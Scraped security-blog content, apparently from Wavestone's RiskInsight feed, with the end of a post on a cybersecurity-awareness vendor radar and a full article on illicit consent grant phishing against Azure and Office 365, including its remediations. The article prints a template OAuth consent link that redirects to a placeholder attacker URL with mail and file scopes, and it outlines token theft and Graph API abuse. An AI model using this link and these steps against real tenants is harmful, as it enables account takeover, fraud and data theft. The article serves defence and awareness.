<p><img loading="lazy" decoding="async" class="aligncenter wp-image-28865 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/02/Image-2.png" alt="" width="837" height="561" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/02/Image-2.png 837w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/02/Image-2-285x191.png 285w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/02/Image-2-58x39.png 58w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/02/Image-2-768x515.png 768w" sizes="auto, (max-width: 837px) 100vw, 837px" /></p>
<p> </p>
<h3 style="text-align: justify;"><strong>A decision-making tool</strong></h3>
<p><strong>The radar provides a comprehensive overview of options available and helps assess the size of the market. </strong>Thanks to the radar, companies can <strong>quickly identify high-performing</strong> <strong>and innovative</strong> <strong>solutions</strong>, while also distinguishing <strong>essential ones</strong>. To achieve this, the solutions have been grouped into 7 categories:</p>
<ol>
<li><strong>Maturity Assessment</strong>: Solutions offering robust cybersecurity maturity and human risk evaluation tools, going beyond reports or questionnaires</li>
<li><strong>E-learning</strong>: Solutions providing a variety of structured learning modules</li>
<li><strong>Technical Training</strong>: Solutions specifically designed for technical audiences (cybersecurity teams, IT, developers, etc.)</li>
<li><strong>AI</strong>: Solutions based on artificial intelligence tools</li>
<li><strong>Chatbot</strong>: Solutions integrating an interactive conversational agent</li>
<li><strong>Phishing</strong>: Solutions specialized in phishing attack simulations, distinct from e-learning modules covering the topic.</li>
<li><strong>Games</strong>: Solutions focused on gamification, offering engaging cybersecurity awareness activities.</li>
</ol>
<p>This <strong>radar aims to provide a condensed view of our benchmark and is not a ranking</strong>. It is a <strong>curated selection based on several criteria</strong>, including company size, market presence (primarily in France), and our expert evaluation. We have <strong>intentionally limited the number of solutions presented to ensure a clear and strategic overview.</strong></p>
<p>The selection favors French solutions, in line with our client base, while also including a few relevant international players. Additionally, <strong>only solutions whose core offer is product-oriented</strong>, rather than consulting services, have been included, to ensure a <strong>product-focused approach</strong>.</p>
<h3> </h3>
<h3 style="text-align: justify;"><strong>A benchmark for a tailored solution</strong></h3>
<p style="text-align: justify;"><strong>The radar is based on a benchmark of over +100 solutions available on the market</strong>, providing a <strong>comprehensive overview of the cybersecurity awareness solutions’ ecosystem</strong>.</p>
<p style="text-align: justify;">The <strong>benchmark is designed to guide your selection</strong> towards the <strong>most suitable solution</strong>. Companies <strong>fill in their criteria</strong> to <strong>generate a refined list of options: types of content </strong>(phishing, passwords, social engineering, etc.), <strong>types of formats </strong>(quizzes, videos, chatbot, e-learning, etc.),<strong> availability and flexibility of the solution</strong>,<strong> target population</strong>, <strong>price</strong>,<strong> languages</strong>, etc. This process helps <strong>avoid arbitrary choices</strong> and ensures the selection of a <strong>solution that is truly aligned with awareness challenges and objectives.</strong></p>
<p style="text-align: justify;">Thus, without trying to be exhaustive, the radar <strong>offers a wide range of options to best meet</strong> <strong>your</strong> <strong>organization&#8217;s needs.</strong></p>
<p> </p>
<h3 style="text-align: justify;"><strong>Integration process into the benchmark</strong></h3>
<p style="text-align: justify;">The process of integrating a solution into the benchmark is intended to be straightforward. Once a solution is identified, it is <strong>analyzed and sorted based on specific criteria</strong>, along with <strong>feedbacks from our Wavestone consultants.</strong> In addition, <strong>meetings with solution providers </strong>allow us to <strong>refine our analysis </strong>through demonstrations and the collection of additional information.</p>
<p style="text-align: justify;">As such, a solution with a <strong>clear and intuitive interface</strong>, offering <strong>transcriptions in multiple languages, </strong>and covering a <strong>wide range of topics</strong> (phishing, cloud, chatbot, etc.) in an <strong>innovative way</strong> will be particularly relevant. If it also receives positive feedback from our consultants, it will have a strong chance of being included in the radar.</p>
<p style="text-align: justify;">The benchmark and its radar also come with <strong>detailed presentations of certain solutions</strong>. Thanks to our <strong>expertise and strong convictions regarding awareness</strong>, some <strong>solutions deemed relevant have detailed profiles that include a more precise overview of the interface</strong> and <strong>expert opinions</strong>, enriched by discussions with vendors. These presentations not only help <strong>select the most suitable tool but also highlight often more effective yet lesser-known alternatives.</strong></p>
<p> </p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-25318" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/02/Process-EN-v2-1.png" alt="" width="1344" height="370" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/02/Process-EN-v2-1.png 1344w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/02/Process-EN-v2-1-437x120.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/02/Process-EN-v2-1-71x20.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/02/Process-EN-v2-1-768x211.png 768w" sizes="auto, (max-width: 1344px) 100vw, 1344px" /></p>
<p style="text-align: center;"><em style="font-size: revert; color: initial;">Integration process of a solution into the benchmark and radar</em></p>
<h4> </h4>
<h4><strong>Disclaimer</strong></h4>
<p>Please note that this radar is a reduced view of the associated benchmark. If you notice that a cyber awareness player you know is missing from this radar, contact us so we can evaluate and add them.</p>
<p> </p>
<h4 style="text-align: left;"><strong>Acknowledgements</strong></h4>
<p style="text-align: left;">We would like to thank Guillaume MASSEBOEUF for his contribution to this radar.</p>
<p> </p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/02/2025-cybersecurity-awareness-solutions-radar-how-can-i-find-the-right-solution-for-my-needs/">2025 cybersecurity awareness solutions radar: how can I find the right solution for my needs?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2025/02/2025-cybersecurity-awareness-solutions-radar-how-can-i-find-the-right-solution-for-my-needs/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Illicit consent grant attacks targeting Azure and Office 365: still a threat?</title>
		<link>https://www.riskinsight-wavestone.com/en/2023/03/illicit-consent-grant-attacks-targeting-azure-and-office-365-still-a-threat/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2023/03/illicit-consent-grant-attacks-targeting-azure-and-office-365-still-a-threat/#respond</comments>
		
		<dc:creator><![CDATA[Raymond Chan]]></dc:creator>
		<pubDate>Thu, 30 Mar 2023 09:00:00 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[O365]]></category>
		<category><![CDATA[phishing]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=20161</guid>

					<description><![CDATA[<p>A quick overview of phishing techniques on Azure and Office 365 Phishing attacks are well known. The objective of this type of attack is to perform actions from a victim&#8217;s account or to retrieve information about the targeted person or...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/03/illicit-consent-grant-attacks-targeting-azure-and-office-365-still-a-threat/">Illicit consent grant attacks targeting Azure and Office 365: still a threat?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1 style="text-align: justify;">A quick overview of phishing techniques on Azure and Office 365</h1>
<p style="text-align: justify;">Phishing <strong>attacks</strong> are well known. The objective of this type of attack is to perform <strong>actions</strong> from a victim&#8217;s account or to <strong>retrieve information</strong> about the targeted person or company.</p>
<p style="text-align: justify;">Despite their notoriety, they remain very effective for attackers. Indeed, among the <a href="https://www.wavestone.com/en/insight/cert-w-2022-cybersecurite-trends-analysis/">attacks investigated by Wavestone CERT</a>, about 51% of them start with the use of valid accounts, which includes <strong>phishing attacks</strong>.</p>
<p style="text-align: justify;"><strong>We are all vulnerable to phishing attacks!</strong> An attacker with enough resources and information about their target can generate <strong>a trap sophisticated enough</strong> to trick them. Similarly, the Office365 and Azure product suites have features that can be exploited in <strong>less conventional attacks, the impacts of which users may not be aware.</strong></p>
<p style="text-align: justify;"><strong>Employee awareness</strong>, while necessary to address the most common threats, is not enough to address some of the more targeted or less traditional types of attacks. <strong>Tougher access requirements</strong> to cloud-hosted resources, <strong>good hygiene in managing access rights</strong>, and <strong>detection of unusual and suspicious access</strong> are all critical to a company&#8217;s defence strategy.</p>
<p style="text-align: justify;">Attackers have a <strong>wide range of tools and possibilities</strong> to access <strong>documents stored</strong><em> on </em>a company&#8217;s <strong>SharePoint</strong>, attempt to <strong>retrieve sensitive emails</strong><em>, </em>or retrieve employee information. The traditional phishing attack as well as the device code authentication attack will be briefly explained below before looking at the illicit consent grant attacks in more detail.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">The traditional phishing attack: a known threat preventable using multi-factor authentication</h2>
<p style="text-align: justify;">Traditional phishing attacks are usually based on sending a <strong>link directing the targeted victims to a site the attacker controls</strong>. Using an authentication login page similar to those used by employees of the targeted company, the attacker <strong>retrieves the credentials and passwords of the tricked users</strong>.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20131 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1EN-2.png" alt="" width="3408" height="2216" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1EN-2.png 3408w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1EN-2-294x191.png 294w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1EN-2-60x39.png 60w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1EN-2-768x499.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1EN-2-1536x999.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1EN-2-2048x1332.png 2048w" sizes="auto, (max-width: 3408px) 100vw, 3408px" /></p>
<p style="text-align: center;"><em>The traditional phishing attack is simple to implement in the absence of multi-factor authentication</em></p>
<p style="text-align: justify;">The <strong>ease of implementing</strong> such an attack on <strong>a large scale</strong> makes it a tool of choice for untargeted attacks. One method to protect against this type of attack is <strong>to enforce the use of a second authentication factor</strong>.</p>
<p style="text-align: justify;">It should be noted however that although more complex to implement, <strong>the interception of the second authentication factor is technically feasible</strong> and will be the subject of an upcoming dedicated article.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">The attack via &#8220;device code&#8221; authentication: a little-known authentication method hijacked by attackers</h2>
<p style="text-align: justify;">This attack <strong>relies on the device authorization grant functionality</strong><a href="#_ftn1" name="_ftnref1">[1]</a>. This authentication method allows <strong>the authentication of a user on a device without a web browser</strong>. A code displayed on this device must then be entered on a computer or smartphone via the dedicated Microsoft site. This <strong>device will then have part of the access rights to Office 365 resources corresponding to the user who entered the code</strong>.</p>
<p style="text-align: justify;">This <strong>functionality is not well known to users</strong> and can be exploited by an attacker for malicious purposes:</p>
<ul style="text-align: justify;">
<li>The attacker first generates a device code, using the same process used by devices without a web browser.</li>
<li>Then, the attacker&#8217;s objective will be to get the victim to fill in his device code on the <span style="color: #048b9a;">https://microsoft.com/devicelogin</span> For example, the attacker could pretend that to access a sensitive document, it is necessary to connect to this link using the code he generated.</li>
<li><strong>If the target accesses the link, fills in the code and authenticates, this will allow the attacker to impersonate the </strong></li>
</ul>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-20135 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2EN-2.png" alt="" width="3575" height="2490" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2EN-2.png 3575w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2EN-2-274x191.png 274w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2EN-2-56x39.png 56w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2EN-2-768x535.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2EN-2-1536x1070.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2EN-2-2048x1426.png 2048w" sizes="auto, (max-width: 3575px) 100vw, 3575px" /></p>
<p style="text-align: center;"><em>Example of a device code phishing attack</em></p>
<p> </p>
<p style="text-align: justify;">This attack is <strong>more difficult for an attacker to carry out</strong> because of the <strong>short lifespan of the device codes:</strong> they are only valid for <strong>15 minutes</strong> and must therefore be generated shortly before the user enters them. This attack is therefore more easily carried out within the framework of <strong>&#8220;phoning&#8221; attacks or phishing via Teams</strong>. For example, the attacker could call the victim, pretending to be part of the company&#8217;s IT support team, and ask the user to authenticate on the link indicated and fill in the code of his choice.</p>
<p style="text-align: justify;">To protect against this type of attack, <strong>conditional access policies</strong> on Azure can be used <em>to </em><strong>prohibit suspicious connections from devices not under the control of the company</strong>.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Illicit consent grant attack</h2>
<p style="text-align: justify;">In addition to these two methods, the illicit consent grant attack also allows an attacker to illegitimately gain access to an Azure environment. This attack was even initially easier for an attacker to implement than attacks via device code authentication. Faced with the resurgence of this threat, <strong>actions were taken in 2020 by Microsoft to limit the conditions for carrying out the attack</strong>. While hardened Azure configurations can completely block this threat, the configurations implemented by some companies expose them to this type of attack. What are the <em>prerequisites for </em>the realization of such an attack, what are the possible <strong>consequences</strong> and <strong>how to protect yourself</strong>?</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">What is the illicit consent grant attack?</h1>
<p style="text-align: justify;">To <strong>understand the principle of</strong> this attack, let&#8217;s put ourselves <strong>in the shoes of an employee who is a victim</strong> of such an attack:</p>
<ul style="text-align: justify;">
<li>The victim receives a <strong>phishing email</strong> indicating an urgent action to be taken to keep their Microsoft account activated. Employees are made aware not to click on phishing links and not to enter their passwords on unknown platforms. The <strong>link</strong> in the format <span style="color: #048b9a;">https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=&lt;CLIENT_ID&gt;&amp;redirect_uri=&lt;Attacker_controled_URL&gt;&amp;response_type=code&amp;response_mode=query&amp;scope=Mail.ReadWrite%20Files.Read.All%20Mail.Send%20User.Read</span> contains a <strong>Microsoft-associated domain</strong>, which reassures the victim.</li>
<li>When clicking on the link, the victim must authenticate themself. This authentication is often automatic since it benefits from Microsoft&#8217;s single sign-on (SSO). The victim then receives <strong>a request to grant permissions</strong>:</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20145 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagebis.png" alt="" width="493" height="696" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagebis.png 493w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagebis-135x191.png 135w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagebis-28x39.png 28w" sizes="auto, (max-width: 493px) 100vw, 493px" /></p>
<p style="text-align: center;"><em>The malicious application asks the user to grant it permissions</em></p>
<ul style="text-align: justify;">
<li>If the victim clicks &#8220;Cancel&#8221; out of caution, they are redirected to the attacker&#8217;s server with a URL like <span style="color: #048b9a;">&lt;Attacker_controled_URL&gt;/?error=consent_required &amp;error_description=AADSTS65004%3a+User+declined+to+consent+to+access+the+app.&amp;error_uri=https%3a%2f%2flogin.microsoftonline.com%2ferror%3fcode%3d65004#</span>. The attacker, understanding that the victim has not accepted the prompt to grant them permissions, can then <strong>redirect the victim to the phishing page, giving them the impression that the requested permissions must be accepted</strong> to proceed to the next step.</li>
<li>Because of the legitimate domain name and the urgency indicated in the phishing email, the <strong>victim of the attack chooses to accept</strong><em>. </em>They then see a message indicating that their account will be kept activated, as suggested in the initial email. The victim then resumes normal activity.</li>
</ul>
<p style="text-align: justify;">However, this consent allows the attacker to perform <strong>actions on behalf of the victim</strong>, depending on the permissions granted. Note that the illicit consent grant attack has <strong>many advantages</strong> for an attacker, including:</p>
<ul style="text-align: justify;">
<li>The <strong>use of a Microsoft-associated URL</strong> when requesting consent, which is considered trusted and therefore implies less distrust on the part of targeted users.</li>
<li>Obtaining <em>persistent access </em>for 90 days, without knowledge of the user&#8217;s password or second authentication factor if no conditional access policy is implemented.</li>
<li>The ability to <strong>directly request Microsoft APIs</strong> to automatically retrieve files, emails, and other corporate resources accessible by the tricked user.</li>
</ul>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Technical sidebar</h2>
<p style="text-align: justify;">From a technical point of view, <strong>the illicit consent grant attack relies on the ability of an attacker to create an application that requires permission to be granted</strong>. Granting the permission is a feature that is regularly used by users without them realizing it, e.g., the Outlook client is allowed by default to retrieve and notify them of new incoming emails.</p>
<p style="text-align: justify;">Here are the key steps when performing this type of attack (which is based on the authorization code grant flow of OAuth 2.0):</p>
<ul style="text-align: justify;">
<li>The attacker <strong>creates an enterprise application on Azure AD</strong> (<span style="color: #048b9a;">application registration</span>), <strong>configures the permissions</strong> they want from <strong>users</strong> and instantiates a &#8220;<strong>client_secret</strong>&#8221; on the application. Some constraints related to this application are detailed below.</li>
<li>The attacker sets up a <strong>server to which users will be redirected</strong> following the consent and indication of its URL as a <strong>valid redirection URL for the application</strong>.</li>
<li>Following <em>a </em><strong>user&#8217;s consent</strong>, the user will be <strong>redirected</strong> <strong>to the malicious site</strong> and a <em>c</em><strong>ode will be provided to the attacker</strong>. This code is the proof to be shown to Microsoft that the user authorizes the application to do actions on their behalf.</li>
<li>Using <strong>this code </strong>and the application&#8217;s &#8220;<strong>client_secret</strong>&#8220;, the attacker will be able to <strong>retrieve an OAuth token</strong>. This token is a <strong>receipt signed by Microsoft</strong> that specifies the <strong>actions that the victim authorizes to be done on his behalf</strong>. The attacker can also retrieve a &#8220;refresh_token&#8221; that allows to <strong>renewal of the validity of the OAuth token</strong>.</li>
<li>This OAuth token can then be used to send <strong>requests to the Graph API</strong> in the name of the victim and therefore allows attackers to <strong>impersonate the user</strong>.</li>
</ul>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-20139 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3EN-2.png" alt="" width="3169" height="1705" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3EN-2.png 3169w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3EN-2-355x191.png 355w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3EN-2-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3EN-2-768x413.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3EN-2-1536x826.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3EN-2-2048x1102.png 2048w" sizes="auto, (max-width: 3169px) 100vw, 3169px" /></p>
<p> </p>
<h1 style="text-align: justify;">What are the consequences of such an attack?</h1>
<p style="text-align: justify;">While some <strong>permissions require administrator approval by default</strong>, other permissions can be granted directly by users in non-hardened Azure environments. The <strong>permissions that can be recovered</strong> by the attacker during this type of attack <strong>depend on the configuration of the targeted Azure AD tenant</strong>.</p>
<p style="text-align: justify;">Here are some examples of possible abuse by an attacker who has managed to retrieve a user&#8217;s permissions on a non-hardened environment.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20143 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4EN-2.png" alt="" width="3083" height="1330" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4EN-2.png 3083w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4EN-2-437x189.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4EN-2-71x31.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4EN-2-768x331.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4EN-2-1536x663.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4EN-2-2048x884.png 2048w" sizes="auto, (max-width: 3083px) 100vw, 3083px" /></p>
<p style="text-align: center;"><em>Actions that can be taken following a successful malicious consent attack on an unhardened Azure environment</em></p>
<p style="text-align: justify;"> </p>
<ul style="text-align: justify;">
<li><strong>Azure Active Directory:</strong>
<ul>
<li>The <span style="color: #048b9a;">Microsoft Graph User.ReadBasic.All</span> permission allows <strong>retrieval of the email addresses of all users in a tenant</strong>, allowing the deployment of larger-scale phishing attacks from an initial compromise.</li>
</ul>
</li>
<li><strong>Outlook:</strong>
<ul>
<li>Sending an email on behalf of a user can enable so-called &#8220;<strong>president fraud</strong><em>&#8221; </em>attacks using the <span style="color: #048b9a;">Microsoft Graph Mail.Send</span> and <span style="color: #048b9a;">Mail.ReadWrite</span> permissions. A compromised employee with a high level of authority could, for example, send an email requesting that a large amount of money be sent urgently to a bank account not listed by the company.</li>
<li>Sent emails can also be hidden using <strong>Outlook filtering rules</strong> that can be modified using the <span style="color: #048b9a;">MailboxSettings.ReadWrite</span> permission. The attacker will then be able to <strong>redirect all emails</strong> related to his attack and associated replies to a different folder in the outbox and inbox.</li>
</ul>
</li>
<li><strong>Teams:</strong>
<ul>
<li><strong>Reading and sending messages</strong> via Teams (<span style="color: #048b9a;">Microsoft Graph Chat.ReadWrite</span>) is an effective method for an attacker to impersonate a user. This method can also be used to carry out &#8220;<strong>president fraud</strong>&#8221; attacks.</li>
</ul>
</li>
<li><strong>OneDrive and SharePoint:</strong>
<ul>
<li>Read access to <strong>files accessible on OneDrive and SharePoint</strong> (<span style="color: #048b9a;">Microsoft Graph Files.Read.All</span>) can provide access to all files accessible by the user. In addition, SharePoint files are often <strong>stored with permissive access rights </strong>which could allow attackers to retrieve a large number of <strong>files</strong>. It is not uncommon, for example, to have access to scripts or configuration files containing passwords in clear text.</li>
<li>In addition, SharePoint&#8217;s search capabilities, including reading and indexing the content of Office files, can be used to target certain keywords such as &#8220;password&#8221;.</li>
<li>The writing rights on a SharePoint file (<span style="color: #048b9a;">Microsoft Graph Files.ReadWrite.All</span>) can also have a significant impact: SharePoint&#8217;s versioning features limit the recording of old file versions to 100 versions by default. This means that in case of automated and successive rewrites more than 100 times, <strong>the initial version of the file would no longer be recoverable</strong>. This would allow an attacker to <strong>erase a large amount of data</strong> if an account with write rights to sensitive files is compromised. In case of deletion, it would then be necessary to contact Microsoft support to try to recover the data from the daily cold backups.</li>
</ul>
</li>
<li><strong>OneNote:</strong>
<ul>
<li>Synchronized OneNote files (<span style="color: #048b9a;">Microsoft Graph Notes.ReadWrite</span> or <span style="color: #048b9a;">Notes.Read.All</span>) can contain sensitive information such as <strong>meeting minutes, and confidential information, but also technical information</strong> such as passwords stored in an unsecured manner.</li>
</ul>
</li>
<li><strong>Azure Resources</strong>:
<ul>
<li>Access to key vaults and storage accounts (<span style="color: #048b9a;">Azure Key Vault</span> and <span style="color: #048b9a;">Azure Storage user_impersonation</span>) can give access to sensitive elements in <strong>case of compromise of developer</strong> or technical user <strong>accounts</strong>. These elements can <strong>facilitate the compromise of Azure resources</strong> such as virtual machines and serve as a <strong>rebound point for an external attacker</strong>.</li>
</ul>
</li>
</ul>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">These actions can have <strong>serious impacts</strong> on a company. In addition, they can <strong>facilitate more elaborate attacks</strong> by disclosing sensitive information to an external attacker.</p>
<p style="text-align: justify;">If <strong>approved by an administrator</strong>, more sensitive permissions can be retrieved such as write access to <em>a</em><strong>ll Azure Active Directory information.</strong></p>
<p style="text-align: justify;">Finally, administrators have the <strong>right to grant all users permission to an application</strong> of the tenant. In this case, the identity of all users could be impersonated to grant permission.</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Microsoft&#8217;s implementation of the &#8220;risk-based consent step-up&#8221; to limit attacks by illicit consent</h1>
<p style="text-align: justify;">In response to this threat, <strong>Microsoft implemented</strong> additional protections <strong>in November 2020</strong> to limit the impact of this type of attack. The &#8220;<strong>risk-based consent step-up</strong>&#8221; feature aims to <strong>raise a warning</strong> and ask for <strong>an administrator&#8217;s validation</strong> in case of a permission <strong>request that seems fraudulent</strong>.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20147 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imageter.png" alt="" width="397" height="412" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imageter.png 397w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imageter-184x191.png 184w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imageter-38x39.png 38w" sizes="auto, (max-width: 397px) 100vw, 397px" /></p>
<p style="text-align: center;"><em>The access request from an unverified application considered sensitive is blocked by default</em></p>
<p style="text-align: justify;">This applies in the case of a <strong>permission request by an unverified application created outside the targeted tenant</strong>. By default, all permissions are affected, except for reading the target user&#8217;s profile, to facilitate single sign-on (SSO) with third-party applications.</p>
<p style="text-align: justify;">This restriction is <strong>implemented by default </strong>on all Azure tenants.</p>
<p style="text-align: justify;">Although these <strong>restrictions limit attacks</strong>, 3 types of applications <strong>can still be used for malicious purposes:</strong> legacy applications, applications internal to the targeted tenant and verified applications.</p>
<ul style="text-align: justify;">
<li><strong>Legacy applications:</strong>
<ul>
<li>To allow for <strong>backward compatibility, no warning message is displayed </strong>for a permission request from an <strong>application created before November 2020</strong>.</li>
<li><em>Prerequisite for the attacker:</em> have an <strong>application created on an Azure tenant before November 2020</strong> or compromise a tenant containing such applications.</li>
</ul>
</li>
<li><strong>Internal applications of the targeted tenant:</strong>
<ul>
<li>These applications <strong>are not covered by the &#8220;risk-based consent step-up&#8221;</strong><em>. </em>By default, all users of an Azure tenant have the right to <strong>create an enterprise application on their tenant, which </strong>makes it easier to attack an unhardened environment.</li>
<li><em>Prerequisites for the attacker:</em> to have a first compromised account on the IS of the targeted company, to realize that the creation of applications is authorized for standard users and to <strong>deploy an internal application to the tenant.</strong></li>
</ul>
</li>
<li><strong>Verified applications:</strong>
<ul>
<li>Verified applications are not covered by the risk-based consent step-up. The Microsoft verification process requires integration into the Microsoft Partner Network.</li>
<li><em>Prerequisite for the attacker</em>: have a <strong>verified application</strong> or <strong>compromise an Azure tenant with verified applications</strong> and hijack the use of these legitimate applications.</li>
</ul>
</li>
</ul>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Possible remediations</h1>
<p style="text-align: justify;">To limit the probability and impact of such attacks, the following recommendations can be <strong>applied and adapted to the company&#8217;s context:</strong></p>
<ul style="text-align: justify;">
<li>Allow <strong>only applications explicitly approved by administrators</strong>. This configuration is the most secure, but the validation step can be a bottleneck since it is usually the Global Administrators and Privileged Role Administrators who must give validation. In practice, some rights can also be granted via Cloud Application Administrators or Application Administrators.</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20150 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagequa.png" alt="" width="1392" height="522" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagequa.png 1392w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagequa-437x164.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagequa-71x27.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagequa-768x288.png 768w" sizes="auto, (max-width: 1392px) 100vw, 1392px" /></p>
<p style="text-align: center;"><em>Granting privilege consent by standard users can be blocked via Azure AD configurations</em></p>
<ul style="text-align: justify;">
<li><strong>Limit the permissions which can be granted.</strong> An administrator can specify Low-risk permissions that can be granted directly by users.</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20152 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagecin.png" alt="" width="949" height="361" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagecin.png 949w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagecin-437x166.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagecin-71x27.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagecin-768x292.png 768w" sizes="auto, (max-width: 949px) 100vw, 949px" /></p>
<p style="text-align: center;"><em>Granting privilege consent by standard users can be limited to rights considered non-sensitive via Azure AD configurations</em></p>
<ul style="text-align: justify;">
<li>Create a <strong>legitimate application validation process and admin consent workflow to track and justify these validations</strong>. By tightening up the consent process, it is necessary to jointly implement a simple and intuitive way for users to request exceptions to grant permissions related to legitimate use cases. These exceptions must be tracked and justified to ensure the legitimacy of the requests.</li>
<li><strong>Regularly review the rights granted to applications </strong>(Enterprise applications): permissions granted by users should be reviewed to ensure that only legitimate applications have rights to the tenant&#8217;s Office 365 resources.</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20154 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagesext.png" alt="" width="1392" height="389" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagesext.png 1392w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagesext-437x122.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagesext-71x20.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagesext-768x215.png 768w" sizes="auto, (max-width: 1392px) 100vw, 1392px" /></p>
<p style="text-align: center;"><em>Regular review of trusted applications on an Azure tenant facilitates checking that the privileges granted are still valid</em></p>
<p style="text-align: justify;"> </p>
<ul style="text-align: justify;">
<li>Monitor suspicious access to Office 365 resources. For example, it is possible to set up <strong>alert rules </strong>on the number of files downloaded over a short period of time to identify <strong>data exfiltration attempts</strong>.</li>
<li><strong>Limit access rights to SharePoint files to what is strictly necessary</strong>: files that are accessible to all users within a company should be checked at regular intervals and access rights to the most sensitive files should be reviewed to ensure that only the necessary people have access.</li>
</ul>
<p style="text-align: justify;"> </p>
